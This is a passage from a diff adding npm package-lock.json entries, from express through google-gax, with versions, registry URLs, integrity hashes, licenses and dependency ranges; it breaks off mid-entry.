"node_modules/express": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz", + "integrity": "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==", + "license": "MIT", + "dependencies": { + "accepts": "^2.0.0", + "body-parser": "^2.2.1", + "content-disposition": "^1.0.0", + "content-type": "^1.0.5", + "cookie": "^0.7.1", + "cookie-signature": "^1.2.1", + "debug": "^4.4.0", + "depd": "^2.0.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "finalhandler": "^2.1.0", + "fresh": "^2.0.0", + "http-errors": "^2.0.0", + "merge-descriptors": "^2.0.0", + "mime-types": "^3.0.0", + "on-finished": "^2.4.1", + "once": "^1.4.0", + "parseurl": "^1.3.3", + "proxy-addr": "^2.0.7", + "qs": "^6.14.0", + "range-parser": "^1.2.1", + "router": "^2.2.0", + "send": "^1.1.0", + "serve-static": "^2.2.0", + "statuses": "^2.0.1", + "type-is": "^2.0.1", + "vary": "^1.1.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/express-rate-limit": { + "version": "8.3.1", + "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.3.1.tgz", + "integrity": "sha512-D1dKN+cmyPWuvB+G2SREQDzPY1agpBIcTa9sJxOPMCNeH3gwzhqJRDWCXW3gg0y//+LQ/8j52JbMROWyrKdMdw==", + "license": "MIT", + "dependencies": { + "ip-address": "10.1.0" + }, + "engines": { + "node": ">= 16" + }, + "funding": { + "url": "https://github.com/sponsors/express-rate-limit" + }, + "peerDependencies": { + "express": ">= 4.11" + } + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "license": "MIT" + }, + "node_modules/extract-zip": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", + "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", + "license": "BSD-2-Clause", + "dependencies": { + "debug": "^4.1.1", + "get-stream": "^5.1.0", + "yauzl": "^2.10.0" + }, + "bin": { + "extract-zip": "cli.js" + }, + "engines": { + "node": ">= 10.17.0" + }, + "optionalDependencies": { + "@types/yauzl": "^2.9.1" + } + }, + "node_modules/fast-check": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/fast-check/-/fast-check-4.7.0.tgz", + "integrity": "sha512-NsZRtqvSSoCP0HbNjUD+r1JH8zqZalyp6gLY9e7OYs7NK9b6AHOs2baBFeBG7bVNsuoukh89x2Yg3rPsul8ziQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT", + "dependencies": { + "pure-rand": "^8.0.0" + }, + "engines": { + "node": ">=12.17.0" + } + }, + "node_modules/fast-content-type-parse": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/fast-content-type-parse/-/fast-content-type-parse-3.0.0.tgz", + "integrity": "sha512-ZvLdcY8P+N8mGQJahJV5G4U88CSvT1rP8ApL6uETe88MBXrBHAkZlSEySdUlyztF7ccb+Znos3TFqaepHxdhBg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "license": "MIT" + }, + "node_modules/fast-fifo": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/fast-fifo/-/fast-fifo-1.3.2.tgz", + "integrity": "sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==", + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "license": "MIT" + }, + "node_modules/fast-sha256": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", + "integrity": "sha512-n11RGP/lrWEFI/bWdygLxhI+pVeo1ZYIVwvvPkW7azl/rOy+F3HYRZ2K5zeE9mmkhQppyv9sQFx0JM9UabnpPQ==", + "license": "Unlicense" + }, + "node_modules/fast-string-truncated-width": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/fast-string-truncated-width/-/fast-string-truncated-width-3.0.3.tgz", + "integrity": "sha512-0jjjIEL6+0jag3l2XWWizO64/aZVtpiGE3t0Zgqxv0DPuxiMjvB3M24fCyhZUO4KomJQPj3LTSUnDP3GpdwC0g==", + "license": "MIT" + }, + "node_modules/fast-string-width": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/fast-string-width/-/fast-string-width-3.0.2.tgz", + "integrity": "sha512-gX8LrtNEI5hq8DVUfRQMbr5lpaS4nMIWV+7XEbXk2b8kiQIizgnlr12B4dA3ZEx3308ze0O4Q1R+cHts8kyUJg==", + "license": "MIT", + "dependencies": { + "fast-string-truncated-width": "^3.0.2" + } + }, + "node_modules/fast-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz", + "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fast-wrap-ansi": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/fast-wrap-ansi/-/fast-wrap-ansi-0.2.0.tgz", + "integrity": "sha512-rLV8JHxTyhVmFYhBJuMujcrHqOT2cnO5Zxj37qROj23CP39GXubJRBUFF0z8KFK77Uc0SukZUf7JZhsVEQ6n8w==", + "license": "MIT", + "dependencies": { + "fast-string-width": "^3.0.2" + } + }, + "node_modules/fast-xml-builder": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.2.0.tgz", + "integrity": "sha512-00aAWieqff+ZJhsXA4g1g7M8k+7AYoMUUHF+/zFb5U6Uv/P0Vl4QZo84/IcufzYalLuEj9928bXN9PbbFzMF0Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "path-expression-matcher": "^1.5.0", + "xml-naming": "^0.1.0" + } + }, + "node_modules/fast-xml-parser": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.7.2.tgz", + "integrity": "sha512-P7oW7tLbYnhOLQk/Gv7cZgzgMPP/XN03K02/Jy6Y/NHzyIAIpxuZIM/YqAkfiXFPxA2CTm7NtCijK9EDu09u2w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "@nodable/entities": "^2.1.0", + "fast-xml-builder": "^1.1.5", + "path-expression-matcher": "^1.5.0", + "strnum": "^2.2.3" + }, + "bin": { + "fxparser": "src/cli/cli.js" + } + }, + "node_modules/fastq": { + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", + "license": "MIT", + "dependencies": { + "pend": "~1.2.0" + } + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/fetch-blob": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", + "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "paypal", + "url": "https://paypal.me/jimmywarting" + } + ], + "license": "MIT", + "dependencies": { + "node-domexception": "^1.0.0", + "web-streams-polyfill": "^3.0.3" + }, + "engines": { + "node": "^12.20 || >= 14.13" + } + }, + "node_modules/figures": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/figures/-/figures-6.1.0.tgz", + "integrity": "sha512-d+l3qxjSesT4V7v2fh+QnmFnUWv9lSpjarhShNTgBOfA0ttejbQUAlHLitbjkoRiDulW0OPoQPYIGhIC8ohejg==", + "license": "MIT", + "dependencies": { + "is-unicode-supported": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/file-type": { + "version": "21.3.4", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-21.3.4.tgz", + "integrity": "sha512-Ievi/yy8DS3ygGvT47PjSfdFoX+2isQueoYP1cntFW1JLYAuS4GD7NUPGg4zv2iZfV52uDyk5w5Z0TdpRS6Q1g==", + "license": "MIT", + "dependencies": { + "@tokenizer/inflate": "^0.4.1", + "strtok3": "^10.3.4", + "token-types": "^6.1.1", + "uint8array-extras": "^1.4.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sindresorhus/file-type?sponsor=1" + } + }, + "node_modules/filing-cabinet": { + "version": "5.5.1", + "resolved": "https://registry.npmjs.org/filing-cabinet/-/filing-cabinet-5.5.1.tgz", + "integrity": "sha512-PzLBTChlVPn6LnNxF0KWs+XqPziVh3Sfmz/3TXOymHxu6a9yhrDcQn7YwgpcRM6mqhR2WHVGPR8RU4fmcF1IVA==", + "dev": true, + "license": "MIT", + "dependencies": { + "app-module-path": "^2.2.0", + "commander": "^12.1.0", + "enhanced-resolve": "^5.21.0", + "module-definition": "^6.0.2", + "module-lookup-amd": "^9.1.3", + "resolve": "^1.22.12", + "resolve-dependency-path": "^4.0.1", + "sass-lookup": "^6.1.2", + "stylus-lookup": "^6.1.2", + "tsconfig-paths": "^4.2.0", + "typescript": "^5.9.3" + }, + "bin": { + "filing-cabinet": "bin/cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/filing-cabinet/node_modules/commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/filing-cabinet/node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", + "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "on-finished": "^2.4.1", + "parseurl": "^1.3.3", + "statuses": "^2.0.1" + }, + "engines": { + "node": ">= 18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/find-up-simple": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/find-up-simple/-/find-up-simple-1.0.1.tgz", + "integrity": "sha512-afd4O7zpqHeRyg4PfDQsXmlDe2PfdHtJt6Akt8jOWaApLOZk5JXs6VMR29lz03pRe9mpykrRCYIYxaJYcfpncQ==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/foreground-child/node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/form-data": { + "version": "2.5.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.5.tgz", + "integrity": "sha512-jqdObeR2rxZZbPSGL+3VckHMYtu+f9//KXBsVny6JSX/pa38Fy+bGjuG8eW/H6USNQWhLi8Num++cU2yOCNz4A==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.35", + "safe-buffer": "^5.2.1" + }, + "engines": { + "node": ">= 0.12" + } + }, + "node_modules/form-data/node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/form-data/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/formdata-polyfill": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", + "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", + "license": "MIT", + "dependencies": { + "fetch-blob": "^3.1.2" + }, + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/forwarded-parse": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/forwarded-parse/-/forwarded-parse-2.1.2.tgz", + "integrity": "sha512-alTFZZQDKMporBH77856pXgzhEzaUVmLCDk+egLgIgHst3Tpndzz8MnKe+GzRJRfvVdn69HhpW7cmXzvtLvJAw==", + "license": "MIT" + }, + "node_modules/fresh": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", + "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/fs-extra": { + "version": "11.3.5", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.5.tgz", + "integrity": "sha512-eKpRKAovdpZtR1WopLHxlBWvAgPny3c4gX1G5Jhwmmw4XJj0ifSD5qB5TOo8hmA0wlRKDAOAhEE1yVPgs6Fgcg==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/fzf": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fzf/-/fzf-0.5.2.tgz", + "integrity": "sha512-Tt4kuxLXFKHy8KT40zwsUPUkg1CrsgY25FxA2U/j/0WgEDCk3ddc/zLTCCcbSHX9FcKtLuVaDGtGE/STWC+j3Q==", + "license": "BSD-3-Clause" + }, + "node_modules/gaxios": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.4.tgz", + "integrity": "sha512-bTIgTsM2bWn3XklZISBTQX7ZSddGW+IO3bMdGaemHZ3tbqExMENHLx6kKZ/KlejgrMtj8q7wBItt51yegqalrA==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "node-fetch": "^3.3.2" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/gcp-metadata": { + "version": "8.1.2", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-8.1.2.tgz", + "integrity": "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^7.0.0", + "google-logging-utils": "^1.0.0", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/get-amd-module-type": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/get-amd-module-type/-/get-amd-module-type-6.0.2.tgz", + "integrity": "sha512-7zShVYAYtMnj9S65CfN+hvpBCByfuB1OY8xID01nZEzXTZbx4YyysAfi+nMl95JSR6odt4q8TCj2W63KAoyVLQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ast-module-types": "^6.0.1", + "node-source-walk": "^7.0.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-east-asian-width": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.6.0.tgz", + "integrity": "sha512-QRbvDIbx6YklUe6RxeTeleMR0yv3cYH6PsPZHcnVn7xv7zO1BHN8r0XETu8n6Ye3Q+ahtSarc3WgtNWmehIBfA==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-own-enumerable-property-symbols": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz", + "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==", + "dev": true, + "license": "ISC" + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "license": "MIT", + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-uri": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/get-uri/-/get-uri-8.0.0.tgz", + "integrity": "sha512-CqtZlMKvfJeY0Zxv8wazDwXmSKmnMnsmNy8j8+wudi8EyG/pMUB1NqHc+Tv1QaNtpYsK9nOYjb7r7Ufu32RPSw==", + "license": "MIT", + "dependencies": { + "basic-ftp": "^5.2.0", + "data-uri-to-buffer": "8.0.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/get-uri/node_modules/data-uri-to-buffer": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-8.0.0.tgz", + "integrity": "sha512-6UHfyCux51b8PTGDgveqtz1tvphBku5DrMKKJbFAZAJOI2zsjDpDoYE1+QGj7FOMS4BdTFNJsJiR3zEB0xH0yQ==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/glob": { + "version": "12.0.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-12.0.0.tgz", + "integrity": "sha512-5Qcll1z7IKgHr5g485ePDdHcNQY0k2dtv/bjYy0iuyGxQw2qSOiiXUXJ+AYQpg3HNoUMHqAruX478Jeev7UULw==", + "license": "BlueOak-1.0.0", + "dependencies": { + "foreground-child": "^3.3.1", + "jackspeak": "^4.1.1", + "minimatch": "^10.1.1", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^2.0.0" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "engines": { + "node": "20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/gonzales-pe": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/gonzales-pe/-/gonzales-pe-4.3.0.tgz", + "integrity": "sha512-otgSPpUmdWJ43VXyiNgEYE4luzHCL2pz4wQ0OnDluC6Eg4Ko3Vexy/SrSynglw/eR+OhkzmqFCZa/OFa/RgAOQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "gonzales": "bin/gonzales.js" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/google-auth-library": { + "version": "10.6.1", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.6.1.tgz", + "integrity": "sha512-5awwuLrzNol+pFDmKJd0dKtZ0fPLAtoA5p7YO4ODsDu6ONJUVqbYwvv8y2ZBO5MBNp9TJXigB19710kYpBPdtA==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "7.1.3", + "gcp-metadata": "8.1.2", + "google-logging-utils": "1.1.3", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/google-auth-library/node_modules/gaxios": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.3.tgz", + "integrity": "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "node-fetch": "^3.3.2", + "rimraf": "^5.0.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/google-gax": { + "version": "4.6.1", + "resolved": "https://registry.npmjs.org/google-gax/-/google-gax-4.6.1.tgz", + "integrity": "sha512-V6eky/xz2mcKfAd1Ioxyd6nmA61gao3n01C+YeuIwu3vzM9EDR6wcVzMSIbLMDXWeoi9SHYctXuKYC5uJUT3eQ==", + "license": "Apache-2.0", + "dependencies": { + "@grpc/grpc-js": "^1.10.9", + "@grpc/proto-loader": "^0.7.13", + "@types/long": "^4.0.0", + 